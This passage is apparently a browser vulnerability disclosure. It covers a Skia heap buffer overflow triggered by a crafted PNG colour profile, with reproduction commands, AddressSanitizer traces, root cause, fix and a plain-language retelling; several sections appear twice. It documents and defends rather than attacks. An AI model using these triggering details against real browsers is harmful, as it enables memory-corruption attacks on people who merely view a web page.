The C++ side does reject the value. rust_icc::ToSkcmsA2B in third_party/skia/rust/icc/FFI.cpp rejects input_channels > 4 and returns false, but it writes the partially filled skcms_A2B struct first, so only four of the 64 declared input_curves slots end up populated. The caller, SkCodecs::MakeICCProfileWithRust in third_party/skia/src/codec/SkCodecColorProfileRust.cpp, throws that return value away, so the incomplete skcms_A2B is installed anyway.
Exploitation
Step 1: serve the proof of concept
Place poc.html and evil.png in a directory and serve it locally on port 7200:
python3 -m http.server 7200
poc.html is a one-line HTML file that loads evil.png through a plain <img src=evil.png>. No JavaScript, no user gesture and no feature flag are involved.
Step 2: launch the ASAN build
Run the ASAN Chromium build against a fresh user-data directory:
ASAN_OPTIONS=symbolize=1:external_symbolizer_path=<asan-dir>/llvm-symbolizer <asan-dir>/chrome --user-data-dir=/tmp/p1 --no-sandbox --headless=new --disable-gpu --virtual-time-budget=10000 http://[redacted]:7200/poc.html
The renderer aborts, and AddressSanitizer prints a symbolized heap-buffer-overflow report. The report identifies select_curve_ops in skcms.cc as the site of the out-of-bounds read and SkCodecs::MakeICCProfileWithRust as the origin of the 1000-byte allocation.
Step 3: read the crash
The top of the ASAN report is the read itself:
==37825==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6e4cb3062e00 at pc 0x590cacc40e57 bp 0x7fff6648bb20 sp 0x7fff6648bb18
READ of size 4 at 0x6e4cb3062e00 thread T0 (chrome)
#0 0x590cacc40e56 in select_curve_ops(skcms_Curve const*, int, OpAndArg*) third_party/skia/modules/skcms/skcms.cc:2545:27
#1 0x590cacc3fbef in skcms_Transform::$_2::operator()(skcms_Curve const*, int) const third_party/skia/modules/skcms/skcms.cc:2758:22
#2 0x590cacc393d3 in skcms_Transform third_party/skia/modules/skcms/skcms.cc:2877:22
#3 0x590cacc37f4d in skcms_ApproximatelyEqualProfiles third_party/skia/modules/skcms/skcms.cc:1782:10
#4 0x590cac808b19 in SkColorSpace::Make(skcms_ICCProfile const&) third_party/skia/src/core/SkColorSpace.cpp:345:16
The allocation site confirms where the buffer came from:
0x6e4cb3062e00 is located 1176 bytes after 1000-byte region [0x6e4cb3062580,0x6e4cb3062968)
allocated by thread T0 (chrome) here:
#0 0x590cabbd859d in operator new(unsigned long) (/home/ubuntu/workspaces/chromium/asan-chrome/chrome+0x110b859d) (BuildId: 250795ae951b3a3b)
#1 0x590cacc1bfa0 in SkCodecs::MakeICCProfileWithRust(sk_sp<SkData const>) third_party/skia/src/codec/SkCodecColorProfileRust.cpp:31:25
#2 0x590cc6186afc in SkCodecs::ColorProfile::MakeICCProfile(sk_sp<SkData const>) third_party/skia/src/codec/SkCodecColorProfile.cpp:83:12
#3 0x590cc61a5a9c in SkPngRustCodec::MakeFromStream(std::__Cr::unique_ptr<SkStream, std::__Cr::default_delete<SkStream>>, SkCodec::Result*) third_party/skia/src/codec/SkPngRustCodec.cpp:168:17
The summary line names the failing function:
SUMMARY: AddressSanitizer: heap-buffer-overflow third_party/skia/modules/skcms/skcms.cc:2545:27 in select_curve_ops(skcms_Curve const*, int, OpAndArg*)
Step 4: vary the channel count
Choosing other values for input_channels shifts the read offset: each +1 moves it by 32 bytes, which is sizeof(skcms_Curve). Setting input_channels=5 reaches curves[4].table_entries inside the skcms_A2B struct and also reaches kOps[4] inside select_curve_op, which AddressSanitizer reports as a global-buffer-overflow 4 bytes past a 96-byte static array. The generator produces these variants with python3 make_icc_poc.py N.
Root cause
There are four defects on one reachable path, and fixing any one of them closes the bug.
- The channel check in
moxcms::Reader::read_lut_abm_typeusesif in_channels > 4 && out_channels > 4 { return Ok(None); }. The operator should be||. For(in=64, out=3)the expression istrue && false, so the check passes. - The
LutWarehouse::Multidimensionalarm inFFI.rscopiesmdt.num_input_channelsintoA2B.input_channelsand truncatesmdt.grid_points[..4]into a fixed four-element array without rejecting out-of-range channel counts. rust_icc::ToSkcmsA2BinFFI.cppdoes rejectinput_channels > 4and returnsfalse, but it writes the partially filledskcms_A2Bstruct first. Only four of the 64 declaredinput_curvesslots end up populated.SkCodecs::MakeICCProfileWithRustignores theboolreturned byrust_icc::ToSkcmsIccProfile, so the half-populated profile flows through and gets installed on theSkColorSpace.
With the profile installed, SkColorSpace::Make runs skcms_ApproximatelyEqualProfiles, which runs skcms_Transform over 84 probe pixels. That path calls add_curve_ops(A2B.input_curves, A2B.input_channels) with the attacker-controlled channel count. add_curve_ops in skcms.cc declares a four-element stack buffer OpAndArg oa[4], asserts numChannels <= 4 (the assertion is removed in release builds), and calls select_curve_ops(curves, 64, oa). The loop reads curves[index].table_entries for index from 63 down to 0. The first read is 63 slots past &A2B::input_curves[0], which is past the end of the 1000-byte ColorProfile allocation that the renderer made in SkCodecs::MakeICCProfileWithRust. The first iteration reads curves[63].table_entries, which sits 2016 bytes from the start of the four-element input_curves array and 1176 bytes past the end of the 1000-byte ColorProfile heap allocation.
The Rust ICC parser is the dev and beta default: SK_CODEC_COLOR_PROFILE_PARSE_WITH_RUST is listed in the defines array of config("skia_config") in skia/BUILD.gn, and blink::features::kForceSkcmsICCParsing is declared FEATURE_DISABLED_BY_DEFAULT in third_party/blink/common/features.cc.
A related report by the same researcher, at https://issues.chromium.org/issues/504103236, targets a different validator (read_lut_a_to_b_type, handling the legacy mft1/mft2 tags) and a different sink (clut() via sample_clut_16). A patch to that validator does not close this report because mAB/mBA tags take a different parser path (read_lut_abm_type). Defects 3 and 4 above are common to both reports, so a patch on either of those two defects would close both as a side effect.
Impact
Any origin serving <img src=evil.png> reaches this path during Blink's image decode. The same decode flow is used by <img>, <picture>, CSS background-image, SVG url(), createImageBitmap, canvas drawImage, and worker ImageDecoder. There is no CORS prompt, no user gesture, and no feature flag to enable.
The input_channels byte of the mAB tag controls the out-of-bounds distance, so the attacker can aim the 4-byte read at different offsets past the ColorProfile allocation by varying that single byte. The vulnerability is classified as memory corruption in a sandboxed process.
Fix
In moxcms::Reader::read_lut_a_to_b_type and read_lut_abm_type, replace the current channel checks with a plain range test, for example:
if !(1..=4).contains(&in_channels) || !(1..=4).contains(&out_channels) {
return Err(CmsError::InvalidProfile);
}
Separately, have SkCodecs::MakeICCProfileWithRust check the return of rust_icc::ToSkcmsIccProfile and fail the decode when it returns false. The upstream moxcms repository is https://github.com/awxkee/moxcms.
Variants to test
- Other LUT tag types. The related report shows that
read_lut_a_to_b_type(legacy mft1/mft2 tags) has its own channel validation problem, with a different sink (clut()viasample_clut_16). - Other channel counts. Vary
input_channelswithpython3 make_icc_poc.py N. - Other image formats that carry ICC profiles. The same decode flow is used by
<picture>, CSSbackground-image, SVGurl(),createImageBitmap, canvasdrawImageand workerImageDecoder; - Other parsers that ignore a
boolreturn. The fourth defect is a caller discarding a failure return from a conversion routine.
What happened, in plain words
A security researcher found a way to make the Chrome browser crash by showing it a specially crafted image file. The image is a PNG, the same kind of picture file you have probably downloaded a thousand times. But inside this PNG there is a hidden block of data describing colours, and that block is malformed in a very particular way. When Chrome tries to read the colour description, it trusts a number written in the file that says "there are 64 colour channels here" instead of the 4 it can actually handle. Chrome then walks off the end of a small piece of memory and reads data that is not there. A debugging tool called AddressSanitizer catches this immediately and stops the browser.
The important part is how little the attacker needs. There is no JavaScript, no button to click, no permission prompt, no setting to turn on. A plain image tag on a web page is enough. The researcher reported it through Google's Chrome Vulnerability Reward Program, the scheme that pays people for finding and privately reporting bugs in Chrome. The platform records it as a medium severity heap buffer overflow in Skia, disclosed on 2026-06-02, with a bounty of 2000.00 USD.
Before going further, a few words that will come up constantly:
- Skia is the drawing and image library built into Chromium (the open-source project Chrome is built from). Whenever Chrome shows a picture, Skia is the part that turns the file's bytes into pixels on your screen.
- Colour management is the process of making sure a colour looks the same on different screens. A photo taken on one device can look slightly different on another, so image files can carry a small description of their colours, called an ICC profile, to help the software correct for this.
- Rust and C++ are programming languages. Chromium is mostly written in C++, and parts of it are being rewritten in Rust, a language designed to make certain memory mistakes harder to make. The colour-profile reading code is one of the pieces being moved to Rust, and on development and beta builds of Chrome the Rust version is the one that runs by default.
- A buffer is a fixed-size area of memory set aside to hold data. A buffer overflow means a program reads or writes past the end of that area, into memory that belongs to something else. Reading past the end is called an out-of-bounds read; writing past it is an out-of-bounds write. Both are dangerous because the program may then use whatever unrelated data happens to sit there.
- Heap is the general-purpose pool of memory a program uses for things it creates while running. A heap buffer overflow is an overflow of a buffer that lives in that pool.
Context
Skia is the 2D graphics library inside Chromium. It decodes images and handles colour management. When a PNG carries an embedded ICC profile in its iCCP chunk, Skia parses that profile and builds an SkColorSpace from it. A chunk is simply a labelled block inside a PNG file; iCCP is the label PNG uses for an embedded ICC colour profile. SkColorSpace is Skia's internal object that represents "what these colours mean".
Chromium has been migrating the ICC parsing code from C++ to Rust, and on dev and beta builds the Rust parser is the default path.
The report covers a heap buffer overflow in skcms::select_curve_ops, reached through a crafted PNG iCCP chunk that contains an mAB (A-to-B multidimensional LUT) tag with input_channels=64 and output_channels=3. An mAB tag is one specific kind of entry inside an ICC profile: a lookup table that maps colours from one space to another. A LUT (lookup table) is exactly what it sounds like, a table you consult to convert a value instead of calculating it. input_channels and output_channels are numbers stored in that tag saying how many colour components go in and come out. A normal colour profile uses 3 (red, green, blue) or 4 (with transparency). The file claims 64.
The bug was reported through the Chrome Vulnerability Reward Program against the chromium/src repository, and the tested build was Chromium 149.0.7795.0 Dev ASAN at revision [redacted]. ASAN is AddressSanitizer, a tool built into a special debugging version of the browser that watches every memory access and shouts the moment one goes out of bounds. A revision is a specific saved snapshot of the source code, so anyone can check out exactly the same code and reproduce the result.
Setup
The researcher worked against a local checkout of chromium/src at revision [redacted] and an AddressSanitizer build of Chromium. The proof of concept consists of three files:
poc.html, a one-line HTML file that loadsevil.png.evil.png, a 620-byte PNG with the craftediCCPmAB tag (input_channels=64,output_channels=3).make_icc_poc.py, a deterministic generator. Runningpython3 make_icc_poc.py Nemits the variant forinput_channels=N, defaulting to 64;N=5reproduces thekOps[4]global out-of-bounds read.
A proof of concept (PoC) is a minimal example that demonstrates a bug actually happening, rather than just describing it. "Deterministic" means the generator produces exactly the same file every time for the same input, so the result is repeatable. The files are served locally on port 7200, and the ASAN build is launched headless against a fresh user-data directory. Headless means the browser runs without showing a window, which is convenient for automated testing. A user-data directory is the folder where Chrome keeps its profile, settings and cache; starting with a fresh one guarantees no leftover state affects the test. No account, extension or special configuration is needed: the Rust ICC parser is the default on dev and beta, as described below.
Finding it
The starting point is the channel check in the Rust ICC parser. In moxcms::Reader::read_lut_abm_type in third_party/rust/chromium_crates_io/vendor/moxcms-v0_8/src/reader.rs, the check reads:
if in_channels > 4 && out_channels > 4 { return Ok(None); }
Line by line: if starts a condition. in_channels > 4 asks "are there more than four input channels?". && means "and", so the whole condition is true only when both halves are true. out_channels > 4 asks the same about output channels. return Ok(None) means "stop and report that this tag is not usable". So the code rejects a tag only when the input count is too big and the output count is too big at the same time.
The intent is clearly to reject any LUT whose input or output channel count is out of range, which requires || ("or"). With &&, a tag with (in=64, out=3) evaluates to true && false, so the check passes and the malformed tag is accepted. Think of a nightclub doorman told to turn away anyone without ID and without a ticket: someone with a ticket but no ID walks straight in. That is the first defect, and it is what makes the rest of the path reachable.
The Rust FFI layer does not catch it either. FFI stands for Foreign Function Interface, the bridge that lets code in one language call code written in another; here, Rust calling into C++. The LutWarehouse::Multidimensional arm in third_party/skia/rust/icc/FFI.rs copies mdt.num_input_channels into A2B.input_channels and truncates mdt.grid_points[..4] into a fixed four-element array, without rejecting out-of-range channel counts. In plain terms, it takes the number 64 from the file and passes it along, and it copies only the first four grid points into an array that can hold exactly four, silently dropping the rest. So A2B.input_channels = 64 is forwarded to C++.
The C++ side does notice. rust_icc::ToSkcmsA2B in third_party/skia/rust/icc/FFI.cpp rejects input_channels > 4 and returns false, but it writes the partially filled skcms_A2B struct first, so only four of the 64 declared input_curves slots end up populated. A struct is a bundle of related fields kept together in memory, like a form with several boxes. The function fills in the form, notices the number is wrong, and says "no" while leaving the half-filled form on the desk. The caller, SkCodecs::MakeICCProfileWithRust in third_party/skia/src/codec/SkCodecColorProfileRust.cpp, throws that return value away, so the incomplete skcms_A2B is installed anyway. It is like a clerk who receives the "rejected" stamp, ignores it, and files the form regardless.
Exploitation
Step 1: serve the proof of concept
Place poc.html and evil.png in a directory and serve it locally on port 7200:
python3 -m http.server 7200
This line starts Python's built-in web server in the current directory, listening on port 7200. A port is a numbered channel on a computer that network traffic arrives on; a web server typically listens on one so a browser can connect to it.
poc.html is a one-line HTML file that loads evil.png through a plain <img src=evil.png>. HTML is the language web pages are written in, and <img src=...> is the tag that tells the browser to fetch and display an image. No JavaScript, no user gesture and no feature flag are involved. JavaScript is the programming language that makes web pages interactive; the point here is that none is needed. A feature flag is a switch inside Chrome that turns an experimental feature on or off; none needs to be flipped either.
Step 2: launch the ASAN build
Run the ASAN Chromium build against a fresh user-data directory:
ASAN_OPTIONS=symbolize=1:external_symbolizer_path=<asan-dir>/llvm-symbolizer <asan-dir>/chrome --user-data-dir=/tmp/p1 --no-sandbox --headless=new --disable-gpu --virtual-time-budget=10000 http://[redacted]:7200/poc.html
Line by line: ASAN_OPTIONS=symbolize=1:external_symbolizer_path=<asan-dir>/llvm-symbolizer configures AddressSanitizer to turn raw memory addresses into readable function names and file lines, using a helper program called llvm-symbolizer found in the ASAN build directory. <asan-dir>/chrome is the browser binary to run. --user-data-dir=/tmp/p1 gives it a fresh profile folder. --no-sandbox disables Chrome's process sandbox, which is normal for a debugging build. --headless=new runs without a visible window. --disable-gpu avoids graphics hardware, which is irrelevant to this test. --virtual-time-budget=10000 lets the page run with a simulated time budget so the test finishes quickly and predictably. Finally http://[redacted]:7200/poc.html is the address of the local page; [redacted] is the standard address a computer uses to refer to itself.
The renderer aborts, and AddressSanitizer prints a symbolized heap-buffer-overflow report. The renderer is the Chrome process that turns web content into what you see; it is deliberately kept separate from the rest of the browser so that a crash there does not take everything down. The report identifies select_curve_ops in skcms.cc as the site of the out-of-bounds read and SkCodecs::MakeICCProfileWithRust as the origin of the 1000-byte allocation. An allocation is the act of reserving a block of memory; here, 1000 bytes were reserved to hold the colour profile.
Step 3: read the crash
The top of the ASAN report is the read itself:
==37825==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6e4cb3062e00 at pc 0x590cacc40e57 bp 0x7fff6648bb20 sp 0x7fff6648bb18
READ of size 4 at 0x6e4cb3062e00 thread T0 (chrome)
#0 0x590cacc40e56 in select_curve_ops(skcms_Curve const*, int, OpAndArg*) third_party/skia/modules/skcms/skcms.cc:2545:27
#1 0x590cacc3fbef in skcms_Transform::$_2::operator()(skcms_Curve const*, int) const third_party/skia/modules/skcms/skcms.cc:2758:22
#2 0x590cacc393d3 in skcms_Transform third_party/skia/modules/skcms/skcms.cc:2877:22
#3 0x590cacc37f4d in skcms_ApproximatelyEqualProfiles third_party/skia/modules/skcms/skcms.cc:1782:10
#4 0x590cac808b19 in SkColorSpace::Make(skcms_ICCProfile const&) third_party/skia/src/core/SkColorSpace.cpp:345:16
Line by line: the first line says AddressSanitizer found a heap buffer overflow at a particular memory address, with pc, bp and sp being the program counter and stack pointers, internal registers that record where execution was. The second line says the problem was a read of 4 bytes at that address, in thread T0. A thread is one sequence of instructions running inside a process. The numbered lines below are the stack trace, the list of function calls that led to the crash, most recent first. #0 is where it happened: select_curve_ops in skcms.cc at line 2545. #1 is the function that called it, #2 the one that called that, and so on up to #4, SkColorSpace::Make, which is where Skia builds the colour space object from the profile. Reading the trace from the bottom up tells the story: Chrome builds a colour space, compares it to another profile, runs a colour transform, and inside that transform the curve selection walks off the end of its data.
The allocation site confirms where the buffer came from:
0x6e4cb3062e00 is located 1176 bytes after 1000-byte region [0x6e4cb3062580,0x6e4cb3062968)
allocated by thread T0 (chrome) here:
#0 0x590cabbd859d in operator new(unsigned long) (/home/ubuntu/workspaces/chromium/asan-chrome/chrome+0x110b859d) (BuildId: 250795ae951b3a3b)
#1 0x590cacc1bfa0 in SkCodecs::MakeICCProfileWithRust(sk_sp<SkData const>) third_party/skia/src/codec/SkCodecColorProfileRust.cpp:31:25
#2 0x590cc6186afc in SkCodecs::ColorProfile::MakeICCProfile(sk_sp<SkData const>) third_party/skia/src/codec/SkCodecColorProfile.cpp:83:12
#3 0x590cc61a5a9c in SkPngRustCodec::MakeFromStream(std::__Cr::unique_ptr<SkStream, std::__Cr::default_delete<SkStream>>, SkCodec::Result*) third_party/skia/src/codec/SkPngRustCodec.cpp:168:17
Line by line: the first line says the bad address is 1176 bytes past the end of a 1000-byte region of memory, and gives that region's start and end addresses. The next lines show who reserved that region: operator new is the C++ function that allocates memory, and the caller was SkCodecs::MakeICCProfileWithRust, which in turn was called while decoding a PNG. So the buffer that was overrun is exactly the colour profile object built from the malicious image.
The summary line names the failing function:
SUMMARY: AddressSanitizer: heap-buffer-overflow third_party/skia/modules/skcms/skcms.cc:2545:27 in select_curve_ops(skcms_Curve const*, int, OpAndArg*)
This is the one-line verdict: the bug type, the file and line, and the function. When you report a crash, this line is the headline.
Step 4: vary the channel count
Choosing other values for input_channels shifts the read offset: each +1 moves it by 32 bytes, which is sizeof(skcms_Curve). sizeof is an operator that tells you how many bytes a given type occupies in memory; here each curve entry is 32 bytes. Setting input_channels=5 reaches curves[4].table_entries inside the skcms_A2B struct and also reaches kOps[4] inside select_curve_op, which AddressSanitizer reports as a global-buffer-overflow 4 bytes past a 96-byte static array. A global is a variable that exists for the whole life of the program rather than being created on the fly, and a global buffer overflow is the same kind of overrun but against one of those. The generator produces these variants with python3 make_icc_poc.py N.
Root cause
There are four defects on one reachable path, and fixing any one of them closes the bug.
- The channel check in
moxcms::Reader::read_lut_abm_typeusesif in_channels > 4 && out_channels > 4 { return Ok(None); }. The operator should be||. For(in=64, out=3)the expression istrue && false, so the check passes. - The
LutWarehouse::Multidimensionalarm inFFI.rscopiesmdt.num_input_channelsintoA2B.input_channelsand truncatesmdt.grid_points[..4]into a fixed four-element array without rejecting out-of-range channel counts. rust_icc::ToSkcmsA2BinFFI.cppdoes rejectinput_channels > 4and returnsfalse, but it writes the partially filledskcms_A2Bstruct first. Only four of the 64 declaredinput_curvesslots end up populated.SkCodecs::MakeICCProfileWithRustignores theboolreturned byrust_icc::ToSkcmsIccProfile, so the half-populated profile flows through and gets installed on theSkColorSpace.
With the profile installed, SkColorSpace::Make runs skcms_ApproximatelyEqualProfiles, which runs skcms_Transform over 84 probe pixels. That path calls add_curve_ops(A2B.input_curves, A2B.input_channels) with the attacker-controlled channel count. add_curve_ops in skcms.cc declares a four-element stack buffer OpAndArg oa[4], asserts numChannels <= 4 (the assertion is removed in release builds), and calls select_curve_ops(curves, 64, oa). A stack buffer is a small area of memory reserved for a function's own temporary use; an assertion is a check the programmer writes to catch impossible situations, and it is typically compiled out of release builds for speed, which is why it does not save the day here. The loop reads curves[index].table_entries for index from 63 down to 0. The first read is 63 slots past &A2B::input_curves[0], which is past the end of the 1000-byte ColorProfile allocation that the renderer made in SkCodecs::MakeICCProfileWithRust. The first iteration reads curves[63].table_entries, which sits 2016 bytes from the start of the four-element input_curves array and 1176 bytes past the end of the 1000-byte ColorProfile heap allocation.
The Rust ICC parser is the dev and beta default: SK_CODEC_COLOR_PROFILE_PARSE_WITH_RUST is listed in the defines array of config("skia_config") in skia/BUILD.gn, and blink::features::kForceSkcmsICCParsing is declared FEATURE_DISABLED_BY_DEFAULT in third_party/blink/common/features.cc. In plain terms, the build configuration switches the Rust parser on, and the flag that would force the old parser is off by default, so ordinary users of those builds get the vulnerable path.
A related report by the same researcher, at https://issues.chromium.org/issues/504103236, targets a different validator (read_lut_a_to_b_type, handling the legacy mft1/mft2 tags) and a different sink (clut() via sample_clut_16). A validator is the part of the code that checks whether input is acceptable; a sink is the place where the data finally gets used, often the dangerous spot. A patch to that validator does not close this report because mAB/mBA tags take a different parser path (read_lut_abm_type). Defects 3 and 4 above are common to both reports, so a patch on either of those two defects would close both as a side effect.
Impact
Any origin serving <img src=evil.png> reaches this path during Blink's image decode. Blink is the part of Chromium that renders web pages. An origin is the combination of scheme, host and port that identifies a website, for example https://example.com; it is the browser's basic unit of trust. The same decode flow is used by <img>, <picture>, CSS background-image, SVG url(), createImageBitmap, canvas drawImage, and worker ImageDecoder. CSS is the language that styles web pages, and background-image is its property for setting a background picture. SVG is a format for vector graphics, and url() is how CSS or SVG refers to an external resource. createImageBitmap and drawImage are JavaScript functions for turning image data into something drawable on a canvas, a pixel grid a page can draw on. A worker is a background script running alongside the page, and ImageDecoder is an interface for decoding images there. There is no CORS prompt, no user gesture, and no feature flag to enable. CORS is the browser rule that stops one site from reading another site's data without permission; the point is that this bug needs no such permission because it fires while merely loading an image.
The input_channels byte of the mAB tag controls the out-of-bounds distance, so the attacker can aim the 4-byte read at different offsets past the ColorProfile allocation by varying that single byte. The vulnerability is classified as memory corruption in a sandboxed process. Memory corruption is the general category for bugs where a program reads or writes memory it should not, which can range from a crash to, in the worst case, running attacker-chosen code. A sandbox is the confinement around the renderer process that limits what a compromised renderer can do to the rest of the system.
Fix
In moxcms::Reader::read_lut_a_to_b_type and read_lut_abm_type, replace the current channel checks with a plain range test, for example:
if !(1..=4).contains(&in_channels) || !(1..=4).contains(&out_channels) {
return Err(CmsError::InvalidProfile);
}
Line by line: 1..=4 is a range meaning one through four inclusive. .contains(&in_channels) asks whether the input channel count falls in that range. The leading ! negates it, so !(1..=4).contains(&in_channels) means "the input count is not between 1 and 4". || means "or". So the condition is true if either count is out of range, and in that case return Err(CmsError::InvalidProfile) stops and reports the profile as invalid. This is the doorman checking both ID and ticket separately instead of only when both are missing.
Separately, have SkCodecs::MakeICCProfileWithRust check the return of rust_icc::ToSkcmsIccProfile and fail the decode when it returns false. In other words, the clerk should actually read the rejection stamp and refuse the form. The upstream moxcms repository is https://github.com/awxkee/moxcms.
Variants to test
- Other LUT tag types. The related report shows that
read_lut_a_to_b_type(legacy mft1/mft2 tags) has its own channel validation problem, with a different sink (clut()viasample_clut_16). - Other channel counts. Vary
input_channelswithpython3 make_icc_poc.py N. - Other image formats that carry ICC profiles. The same decode flow is used by
<picture>, CSSbackground-image, SVGurl(),createImageBitmap, canvasdrawImageand workerImageDecoder; - Other parsers that ignore a
boolreturn. The fourth defect is a caller discarding a failure return from a conversion routine.
Glossary
- AddressSanitizer (ASAN): a debugging tool built into a special browser build that detects out-of-bounds and other invalid memory accesses as they happen.
- Allocation: the act of reserving a block of memory for a program's use.
- Assertion: a check written by a programmer to catch a situation that should be impossible; often removed from release builds.
- Blink: the rendering engine inside Chromium that turns HTML, CSS and images into a web page.
- Buffer: a fixed-size area of memory set aside to hold data.
- Buffer overflow: reading or writing past the end of a buffer into neighbouring memory.
- Canvas: a pixel grid a web page can draw on via JavaScript.
- Chunk: a labelled block of data inside a file format such as PNG.
- Colour management: adjusting colours so they look consistent across different screens and devices.
- CORS: the browser rule that prevents one website from reading another website's data without permission.
- CSS: the language used to style web pages.
- C++: a widely used programming language; most of Chromium is written in it.
- Feature flag: an internal switch that enables or disables an experimental feature.
- FFI (Foreign Function Interface): the bridge that lets code in one programming language call code written in another.
- Global: a variable that exists for the whole run of a program rather than being created temporarily.
- Global buffer overflow: an out-of-bounds access against a global variable.
- Headless: running a browser without a visible window, typically for automated testing.
- Heap: the general-purpose pool of memory a program uses for objects created while running.
- Heap buffer overflow: an out-of-bounds access against a buffer allocated in the heap.
- HTML: the language web pages are written in.
- ICC profile: a small description embedded in an image or document saying what its colours mean.
- iCCP: the PNG chunk that carries an embedded ICC profile.
- JavaScript: the programming language that makes web pages interactive.
- LUT (lookup table): a table consulted to convert values instead of calculating them.
- mAB tag: a specific kind of ICC profile entry holding an A-to-B multidimensional lookup table.
- Memory corruption: the general category of bugs where a program accesses memory it should not.
- Origin: the scheme, host and port combination that identifies a website and forms the browser's basic unit of trust.
- Out-of-bounds read: reading memory outside the bounds of the intended buffer.
- PNG: a common image file format.
- Port: a numbered channel on a computer that network traffic arrives on.
- Proof of concept (PoC): a minimal example that demonstrates a bug actually occurring.
- Renderer: the Chrome process that turns web content into what you see, kept separate from the rest of the browser.
- Revision: a specific saved snapshot of a source code repository.
- Rust: a programming language designed to make certain memory mistakes harder to make.
- Sandbox: the confinement around a process that limits what it can do to the rest of the system.
- Sink: the place in code where data is finally used, often the dangerous spot.
- Skia: the 2D graphics library inside Chromium that decodes images and handles drawing and colour.
- Stack buffer: a small area of memory reserved for a function's own temporary use.
- Stack trace: the list of function calls that led to a crash, most recent first.
- Struct: a bundle of related fields kept together in memory.
- SVG: a format for vector graphics.
- Thread: one sequence of instructions running inside a process.
- User-data directory: the folder where Chrome keeps its profile, settings and cache.
- Validator: the part of code that checks whether input is acceptable.
- Worker: a background script that runs alongside a web page.